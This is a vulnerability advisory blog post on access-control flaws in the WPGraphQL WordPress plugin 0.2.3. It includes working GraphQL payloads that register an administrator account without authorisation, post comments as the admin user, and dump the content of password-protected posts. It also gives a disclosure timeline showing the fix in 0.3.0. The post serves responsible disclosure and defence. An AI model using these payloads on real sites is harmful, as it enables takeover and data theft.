Blog: Vulnerability Advisory
Pwning WordPress GraphQL
Third-party plugins are often the security Achilles heel of Content Management Systems (CMS). It seems like not a month goes by without one security researcher or another uncovers a vulnerability in a plugin, undermining the security of the whole platform.
Plugins are used to add functionality that’s missing from the core CMS, but using them can be fraught as not all plugins are created equal. What you hope will add to the user (and Admin) experience could well be the undoing of your security.
In this post we analyse the security of the increasingly popular WPGraphQL plugin.
GraphQL is a query language for APIs that was open-sourced by Facebook in 2015 and has been used in production by Facebook since 2012. The plugin brings that functionality to WordPress websites.
TL;DR?
Without authorisation, weak access controls allow us to:
- Create administrative users
- Post comments on articles bypassing article restrictions and global moderation
- Retrieve content of password-protected posts/articles/pages
- Retrieve full list of registered users in the platform
- Retrieve full list of media, comments, themes and plugins with one simple request
The test was performed locally using WordPress 5.1.1 and WPGraphQL 0.2.3
Where do I start?
‘Introspection’ is the answer! It’s a philosophical approach that serves us well here. We can ask GraphQL schema to list what queries it supports through the following introspection request:
{ __schema{ queryType{ name, fields{ name, description } } } }
Once parsed, we can identify queries and mandatory parameters we will need to use.
Because WPGraphQL is open source it was easy to identify unprotected functionality, where user’s privileges were not checked before serving the response to the query.
Create administrative users
By exploiting this issue, registrations must be open in WordPress. However, it’s possible to specify the role of the user we’re registering:
mutation{ registerUser(input: { clientMutationId: "UWHATM8", email: "[email protected]", password: "SuperSecretPassword", username: "adm1n", roles:["administrator"] }) { clientMutationId } }
In that example “UWHATM8” is just a random string.
Creating an administrative account on WordPress allows a remote attacker to execute arbitrary code by injecting PHP code in themes, plugins or header.php file of WordPress.
Post comments on articles bypassing article restrictions and global moderation
This vulnerability is also present when comments are moderated globally and if article/post/page comments are disallowed.
mutation{ createComment(input: { postId:6, userId:1, content:"Test Comment", clientMutationId: "UWHATM8" }) { clientMutationId } }
The comment will show as approved because the impersonation of the admin user is trusted by the system.
Retrieve content of password-protected posts/articles/pages
Protected posts/articles/pages are always shown on the main website, but without password the content is not visible, until now…
The following GraphQL request filters all posts with a password set and show their content in RAW format:
{posts(where: {hasPassword: true}){ edges{ node{ title, id, content(format:RAW) } } } }
Resulting in the content of the article to be disclosed to unauthorised users:
I developed PoC exploit code for all attack vectors and it’s available here on the PTP GitHub repository.
Lessons learned
Despite the small impact of this research compared to a core CMS vulnerability, it is important to understand two important concepts:
- As a user, are you aware of all the functionality of the plugin you’re using? Do you perform a source code review before installing it?
- As a developer, it is important to keep in mind whom has access to data. Do they need to be authenticated to perform a specific action?
All those issues were addressed in WPGraphQL version 0.3.0
Disclosure timeline
23/03/2019: First contact with the wp-graphql team to report the vulnerabilities
26/03/2019: Confirmation that the issues will be address in version 0.3.0
06/04/2019: Version 0.3.0 released to the public
08/05/2019: Public disclosure of this article